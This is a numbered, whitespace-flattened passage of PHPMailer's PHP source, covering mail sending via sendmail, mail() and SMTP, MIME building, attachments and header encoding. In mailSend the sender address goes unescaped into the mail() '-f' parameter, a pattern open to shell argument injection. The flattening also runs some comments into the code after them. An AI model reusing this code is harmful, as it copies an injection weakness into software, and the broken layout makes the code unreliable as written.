  460. } protected function sendmailSend($header, $body) { if ($this->Sender != '') { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  461. } else { $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  462. } } else { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  463. } else { $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  464. } } if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  465. } fputs($mail, 'To: ' . $toAddr . "\n");
  466. fputs($mail, $header);
  467. fputs($mail, $body);
  468. $result = pclose($mail);
  469. $this->doCallback( ($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From );
  470. if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  471. } } } else { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  472. } fputs($mail, $header);
  473. fputs($mail, $body);
  474. $result = pclose($mail);
  475. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  476. if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  477. } } return true;
  478. } protected function mailSend($header, $body) { $toArr = array();
  479. foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr);
  480. } $to = implode(', ', $toArr);
  481. if (empty($this->Sender)) { $params = ' ';
  482. } else { $params = sprintf('-f%s', $this->Sender);
  483. } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from');
  484. ini_set('sendmail_from', $this->Sender);
  485. } $result = false;
  486. if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  487. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  488. } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  489. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  490. } if (isset($old_from)) { ini_set('sendmail_from', $old_from);
  491. } if (!$result) { throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  492. } return true;
  493. } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP;
  494. } return $this->smtp;
  495. } protected function smtpSend($header, $body) { $bad_rcpt = array();
  496. if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  497. } if ('' == $this->Sender) { $smtp_from = $this->From;
  498. } else { $smtp_from = $this->Sender;
  499. } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  500. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  501. } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError();
  502. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  503. $isSent = false;
  504. } else { $isSent = true;
  505. } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  506. } } if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  507. } if ($this->SMTPKeepAlive) { $this->smtp->reset();
  508. } else { $this->smtp->quit();
  509. $this->smtp->close();
  510. } if (count($bad_rcpt) > 0) { $errstr = '';
  511. foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error'];
  512. } throw new phpmailerException( $this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE );
  513. } return true;
  514. } public function smtpConnect($options = array()) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance();
  515. } if ($this->smtp->connected()) { return true;
  516. } $this->smtp->setTimeout($this->Timeout);
  517. $this->smtp->setDebugLevel($this->SMTPDebug);
  518. $this->smtp->setDebugOutput($this->Debugoutput);
  519. $this->smtp->setVerp($this->do_verp);
  520. $hosts = explode(';', $this->Host);
  521. $lastexception = null;
  522. foreach ($hosts as $hostentry) { $hostinfo = array();
  523. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { continue;
  524. } $prefix = '';
  525. $secure = $this->SMTPSecure;
  526. $tls = ($this->SMTPSecure == 'tls');
  527. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { $prefix = 'ssl://';
  528. $tls = false;
  529. // Can't have SSL and TLS at the same time $secure = 'ssl';
  530. } elseif ($hostinfo[2] == 'tls') { $tls = true;
  531. $secure = 'tls';
  532. } $sslext = defined('OPENSSL_ALGO_SHA1');
  533. if ('tls' === $secure or 'ssl' === $secure) { if (!$sslext) { throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  534. } } $host = $hostinfo[3];
  535. $port = $this->Port;
  536. $tport = (integer)$hostinfo[4];
  537. if ($tport > 0 and $tport
  538. < 65536) { $port = $tport;
  539. } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo;
  540. } else { $hello = $this->serverHostname();
  541. } $this->smtp->hello($hello);
  542. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { $tls = true;
  543. } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang('connect_host'));
  544. } $this->smtp->hello($hello);
  545. } if ($this->SMTPAuth) { if (!$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation ) ) { throw new phpmailerException($this->lang('authenticate'));
  546. } } return true;
  547. } catch (phpmailerException $exc) { $lastexception = $exc;
  548. $this->edebug($exc->getMessage());
  549. $this->smtp->quit();
  550. } } } $this->smtp->close();
  551. if ($this->exceptions and !is_null($lastexception)) { throw $lastexception;
  552. } return false;
  553. } public function smtpClose() { if ($this->smtp !== null) { if ($this->smtp->connected()) { $this->smtp->quit();
  554. $this->smtp->close();
  555. } } } public function setLanguage($langcode = 'en', $lang_path = '') { // Define full set of translatable strings in English $PHPMAILER_LANG = array( 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ' );
  556. if (empty($lang_path)) { // Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  557. } $foundlang = true;
  558. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  559. if ($langcode != 'en') { // There is no English translation file // Make sure language file path is readable if (!is_readable($lang_file)) { $foundlang = false;
  560. } else { $foundlang = include $lang_file;
  561. } } $this->language = $PHPMAILER_LANG;
  562. return (boolean)$foundlang;
  563. // Returns false if language not found } public function getTranslations() { return $this->language;
  564. } public function addrAppend($type, $addr) { $addresses = array();
  565. foreach ($addr as $address) { $addresses[] = $this->addrFormat($address);
  566. } return $type . ': ' . implode(', ', $addresses) . $this->LE;
  567. } public function addrFormat($addr) { if (empty($addr[1])) { // No name provided return $this->secureHeader($addr[0]);
  568. } else { return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . '
  569. <' . $this->secureHeader( $addr[0] ) . '>';
  570. } } public function wrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  571. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  572. $lelen = strlen($this->LE);
  573. $crlflen = strlen(self::CRLF);
  574. $message = $this->fixEOL($message);
  575. if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen);
  576. } $line = explode($this->LE, $message);
  577. // Magic. We know fixEOL uses $LE $message = '';
  578. for ($i = 0;
  579. $i
  580. < count($line);
  581. $i++) { $line_part = explode(' ', $line[$i]);
  582. $buf = '';
  583. for ($e = 0;
  584. $e
  585. < count($line_part);
  586. $e++) { $word = $line_part[$e];
  587. if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen;
  588. if ($e != 0) { if ($space_left > 20) { $len = $space_left;
  589. if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len);
  590. } elseif (substr($word, $len - 1, 1) == '=') { $len--;
  591. } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2;
  592. } $part = substr($word, 0, $len);
  593. $word = substr($word, $len);
  594. $buf .= ' ' . $part;
  595. $message .= $buf . sprintf('=%s', self::CRLF);
  596. } else { $message .= $buf . $soft_break;
  597. } $buf = '';
  598. } while (strlen($word) > 0) { if ($length
  599. <= 0) { break;
  600. } $len = $length;
  601. if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len);
  602. } elseif (substr($word, $len - 1, 1) == '=') { $len--;
  603. } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2;
  604. } $part = substr($word, 0, $len);
  605. $word = substr($word, $len);
  606. if (strlen($word) > 0) { $message .= $part . sprintf('=%s', self::CRLF);
  607. } else { $buf = $part;
  608. } } } else { $buf_o = $buf;
  609. $buf .= ($e == 0) ? $word : (' ' . $word);
  610. if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break;
  611. $buf = $word;
  612. } } } $message .= $buf . self::CRLF;
  613. } return $message;
  614. } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false;
  615. $lookBack = 3;
  616. while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  617. $encodedCharPos = strpos($lastChunk, '=');
  618. if (false !== $encodedCharPos) { // Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  619. $dec = hexdec($hex);
  620. if ($dec
  621. < 128) { // Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  622. $foundSplitPos = true;
  623. } elseif ($dec >= 192) { // First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  624. $foundSplitPos = true;
  625. } elseif ($dec
  626. < 192) { // Middle byte of a multi byte character, look further back $lookBack += 3;
  627. } } else { // No encoded character found $foundSplitPos = true;
  628. } } return $maxLength;
  629. } public function setWordWrap() { if ($this->WordWrap
  630. < 1) { return;
  631. } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  632. break;
  633. default: $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  634. break;
  635. } } public function createHeader() { $result = '';
  636. // Set the boundaries $uniq_id = md5(uniqid(time()));
  637. $this->boundary[1] = 'b1_' . $uniq_id;
  638. $this->boundary[2] = 'b2_' . $uniq_id;
  639. $this->boundary[3] = 'b3_' . $uniq_id;
  640. if ($this->MessageDate == '') { $this->MessageDate = self::rfcDate();
  641. } $result .= $this->headerLine('Date', $this->MessageDate);
  642. // To be created automatically by mail() if ($this->SingleTo) { if ($this->Mailer != 'mail') { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr);
  643. } } } else { if (count($this->to) > 0) { if ($this->Mailer != 'mail') { $result .= $this->addrAppend('To', $this->to);
  644. } } elseif (count($this->cc) == 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  645. } } $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  646. // sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc);
  647. } // sendmail and mail() extract Bcc from the header before sending if (( $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' ) and count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc);
  648. } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  649. } // mail() sets the subject itself if ($this->Mailer != 'mail') { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  650. } if ($this->MessageID != '') { $this->lastMessageID = $this->MessageID;
  651. } else { $this->lastMessageID = sprintf('
  652. <%s@%s>', $uniq_id, $this->ServerHostname());
  653. } $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  654. $result .= $this->headerLine('X-Priority', $this->Priority);
  655. if ($this->XMailer == '') { } else { $myXmailer = trim($this->XMailer);
  656. if ($myXmailer) { $result .= $this->headerLine('X-Mailer', $myXmailer);
  657. } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine('Disposition-Notification-To', '
  658. <' . trim($this->ConfirmReadingTo) . '>');
  659. } // Add custom headers for ($index = 0;
  660. $index
  661. < count($this->CustomHeader);
  662. $index++) { $result .= $this->headerLine( trim($this->CustomHeader[$index][0]), $this->encodeHeader(trim($this->CustomHeader[$index][1])) );
  663. } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0');
  664. $result .= $this->getMailMIME();
  665. } return $result;
  666. } public function getMailMIME() { $result = '';
  667. $ismultipart = true;
  668. switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', 'multipart/related;');
  669. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  670. break;
  671. case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  672. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  673. break;
  674. case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  675. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  676. break;
  677. default: // Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . ';
  678. charset=' . $this->CharSet);
  679. $ismultipart = false;
  680. break;
  681. } // RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') { // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if ($this->Encoding == '8bit') { $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  682. } // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  683. } } if ($this->Mailer != 'mail') { $result .= $this->LE;
  684. } return $result;
  685. } public function getSentMIMEMessage() { return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  686. } public function createBody() { $body = '';
  687. if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE;
  688. } $this->setWordWrap();
  689. $bodyEncoding = $this->Encoding;
  690. $bodyCharSet = $this->CharSet;
  691. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { $bodyEncoding = '7bit';
  692. $bodyCharSet = 'us-ascii';
  693. } $altBodyEncoding = $this->Encoding;
  694. $altBodyCharSet = $this->CharSet;
  695. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = '7bit';
  696. $altBodyCharSet = 'us-ascii';
  697. } switch ($this->message_type) { case 'inline': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  698. $body .= $this->encodeString($this->Body, $bodyEncoding);
  699. $body .= $this->LE . $this->LE;
  700. $body .= $this->attachAll('inline', $this->boundary[1]);
  701. break;
  702. case 'attach': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  703. $body .= $this->encodeString($this->Body, $bodyEncoding);
  704. $body .= $this->LE . $this->LE;
  705. $body .= $this->attachAll('attachment', $this->boundary[1]);
  706. break;
  707. case 'inline_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  708. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  709. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  710. $body .= $this->LE;
  711. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  712. $body .= $this->encodeString($this->Body, $bodyEncoding);
  713. $body .= $this->LE . $this->LE;
  714. $body .= $this->attachAll('inline', $this->boundary[2]);
  715. $body .= $this->LE;
  716. $body .= $this->attachAll('attachment', $this->boundary[1]);
  717. break;
  718. case 'alt': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  719. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  720. $body .= $this->LE . $this->LE;
  721. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  722. $body .= $this->encodeString($this->Body, $bodyEncoding);
  723. $body .= $this->LE . $this->LE;
  724. if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar;
  725. method=REQUEST', '');
  726. $body .= $this->encodeString($this->Ical, $this->Encoding);
  727. $body .= $this->LE . $this->LE;
  728. } $body .= $this->endBoundary($this->boundary[1]);
  729. break;
  730. case 'alt_inline': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  731. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  732. $body .= $this->LE . $this->LE;
  733. $body .= $this->textLine('--' . $this->boundary[1]);
  734. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  735. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  736. $body .= $this->LE;
  737. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  738. $body .= $this->encodeString($this->Body, $bodyEncoding);
  739. $body .= $this->LE . $this->LE;
  740. $body .= $this->attachAll('inline', $this->boundary[2]);
  741. $body .= $this->LE;
  742. $body .= $this->endBoundary($this->boundary[1]);
  743. break;
  744. case 'alt_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  745. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  746. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  747. $body .= $this->LE;
  748. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  749. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  750. $body .= $this->LE . $this->LE;
  751. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  752. $body .= $this->encodeString($this->Body, $bodyEncoding);
  753. $body .= $this->LE . $this->LE;
  754. $body .= $this->endBoundary($this->boundary[2]);
  755. $body .= $this->LE;
  756. $body .= $this->attachAll('attachment', $this->boundary[1]);
  757. break;
  758. case 'alt_inline_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  759. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  760. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  761. $body .= $this->LE;
  762. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  763. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  764. $body .= $this->LE . $this->LE;
  765. $body .= $this->textLine('--' . $this->boundary[2]);
  766. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  767. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  768. $body .= $this->LE;
  769. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  770. $body .= $this->encodeString($this->Body, $bodyEncoding);
  771. $body .= $this->LE . $this->LE;
  772. $body .= $this->attachAll('inline', $this->boundary[3]);
  773. $body .= $this->LE;
  774. $body .= $this->endBoundary($this->boundary[2]);
  775. $body .= $this->LE;
  776. $body .= $this->attachAll('attachment', $this->boundary[1]);
  777. break;
  778. default: // catch case 'plain' and case '' $body .= $this->encodeString($this->Body, $bodyEncoding);
  779. break;
  780. } if ($this->isError()) { $body = '';
  781. } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  782. } // @TODO would be nice to use php://temp streams here, but need to wrap for PHP
  783. < 5.1 $file = tempnam(sys_get_temp_dir(), 'mail');
  784. if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  785. } $signed = tempnam(sys_get_temp_dir(), 'signed');
  786. if (@openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null ) ) { @unlink($file);
  787. $body = file_get_contents($signed);
  788. @unlink($signed);
  789. } else { @unlink($file);
  790. @unlink($signed);
  791. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  792. } } catch (phpmailerException $exc) { $body = '';
  793. if ($this->exceptions) { throw $exc;
  794. } } } return $body;
  795. } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = '';
  796. if ($charSet == '') { $charSet = $this->CharSet;
  797. } if ($contentType == '') { $contentType = $this->ContentType;
  798. } if ($encoding == '') { $encoding = $this->Encoding;
  799. } $result .= $this->textLine('--' . $boundary);
  800. $result .= sprintf('Content-Type: %s;
  801. charset=%s', $contentType, $charSet);
  802. $result .= $this->LE;
  803. // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  804. } $result .= $this->LE;
  805. return $result;
  806. } protected function endBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE;
  807. } protected function setMessageType() { $type = array();
  808. if ($this->alternativeExists()) { $type[] = 'alt';
  809. } if ($this->inlineImageExists()) { $type[] = 'inline';
  810. } if ($this->attachmentExists()) { $type[] = 'attach';
  811. } $this->message_type = implode('_', $type);
  812. if ($this->message_type == '') { $this->message_type = 'plain';
  813. } } public function headerLine($name, $value) { return $name . ': ' . $value . $this->LE;
  814. } public function textLine($value) { return $value . $this->LE;
  815. } public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') { try { if (!@is_file($path)) { throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  816. } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path);
  817. } $filename = basename($path);
  818. if ($name == '') { $name = $filename;
  819. } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => 0 );
  820. } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  821. $this->edebug($exc->getMessage());
  822. if ($this->exceptions) { throw $exc;
  823. } return false;
  824. } return true;
  825. } public function getAttachments() { return $this->attachment;
  826. } protected function attachAll($disposition_type, $boundary) { // Return text of body $mime = array();
  827. $cidUniq = array();
  828. $incl = array();
  829. // Add all attachments foreach ($this->attachment as $attachment) { // Check if it is a valid disposition_filter if ($attachment[6] == $disposition_type) { // Check for string attachment $string = '';
  830. $path = '';
  831. $bString = $attachment[5];
  832. if ($bString) { $string = $attachment[0];
  833. } else { $path = $attachment[0];
  834. } $inclhash = md5(serialize($attachment));
  835. if (in_array($inclhash, $incl)) { continue;
  836. } $incl[] = $inclhash;
  837. $name = $attachment[2];
  838. $encoding = $attachment[3];
  839. $type = $attachment[4];
  840. $disposition = $attachment[6];
  841. $cid = $attachment[7];
  842. if ($disposition == 'inline' && isset($cidUniq[$cid])) { continue;
  843. } $cidUniq[$cid] = true;
  844. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  845. $mime[] = sprintf( 'Content-Type: %s;
  846. name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE );
  847. // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  848. } if ($disposition == 'inline') { $mime[] = sprintf('Content-ID:
  849. <%s>%s', $cid, $this->LE);
  850. } // If a filename contains any of these chars, it should be quoted, // but not otherwise: RFC2183 & RFC2045 5.1 // Fixes a warning in IETF's msglint MIME checker // Allow for bypassing the Content-Disposition header totally if (!(empty($disposition))) { $encoded_name = $this->encodeHeader($this->secureHeader($name));
  851. if (preg_match('/[ \(\)
  852. <>@,;:\\"\/\[\]\?=]/', $encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s;
  853. filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE );
  854. } else { $mime[] = sprintf( 'Content-Disposition: %s;
  855. filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE );
  856. } } else { $mime[] = $this->LE;
  857. } // Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding);
  858. if ($this->isError()) { return '';
  859. } $mime[] = $this->LE . $this->LE;
  860. } else { $mime[] = $this->encodeFile($path, $encoding);
  861. if ($this->isError()) { return '';
  862. } $mime[] = $this->LE . $this->LE;
  863. } } } $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  864. return implode('', $mime);
  865. } protected function encodeFile($path, $encoding = 'base64') { try { if (!is_readable($path)) { throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  866. } $magic_quotes = get_magic_quotes_runtime();
  867. if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '
  868. <')) { set_magic_quotes_runtime(false);
  869. } else { ini_set('magic_quotes_runtime', 0);
  870. } } $file_buffer = file_get_contents($path);
  871. $file_buffer = $this->encodeString($file_buffer, $encoding);
  872. if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '
  873. <')) { set_magic_quotes_runtime($magic_quotes);
  874. } else { ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  875. } } return $file_buffer;
  876. } catch (Exception $exc) { $this->setError($exc->getMessage());
  877. return '';
  878. } } public function encodeString($str, $encoding = 'base64') { $encoded = '';
  879. switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  880. break;
  881. case '7bit': case '8bit': $encoded = $this->fixEOL($str);
  882. // Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) { $encoded .= $this->LE;
  883. } break;
  884. case 'binary': $encoded = $str;
  885. break;
  886. case 'quoted-printable': $encoded = $this->encodeQP($str);
  887. break;
  888. default: $this->setError($this->lang('encoding') . $encoding);
  889. break;
  890. } return $encoded;
  891. } public function encodeHeader($str, $position = 'text') { $matchcount = 0;
  892. switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { // Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\"");
  893. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded);
  894. } else { return ("\"$encoded\"");
  895. } } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  896. break;
  897. /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches);
  898. // Intentional fall-through case 'text': default: $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  899. break;
  900. } if ($matchcount == 0) { // There are no chars that need encoding return ($str);
  901. } $maxlen = 75 - 7 - strlen($this->CharSet);
  902. // Try to select the encoding which should produce the shortest output if ($matchcount > strlen($str) / 3) { // More than a third of the content will need encoding, so B encoding will be most efficient $encoding = 'B';
  903. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\n");
  904. } else { $encoded = base64_encode($str);
  905. $maxlen -= $maxlen % 4;
  906. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  907. } } else { $encoding = 'Q';
  908. $encoded = $this->encodeQ($str, $position);
  909. $encoded = $this->wrapText($encoded, $maxlen, true);
  910. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  911. } $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  912. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  913. return $encoded;
  914. } public function hasMultiBytes($str) { if (function_exists('mb_strlen')) { return (strlen($str) > mb_strlen($str, $this->CharSet));
  915. } else { // Assume no multibytes (we can't handle without mbstring functions anyway) return false;
  916. } } public function has8bitChars($text) { return (boolean)preg_match('/[\x80-\xFF]/', $text);
  917. } public function base64EncodeWrapMB($str, $linebreak = null) { $start = '=?' . $this->CharSet . '?B?';
  918. $end = '?=';
  919. $encoded = '';
  920. if ($linebreak === null) { $linebreak = $this->LE;
  921. } $mb_length = mb_strlen($str, $this->CharSet);
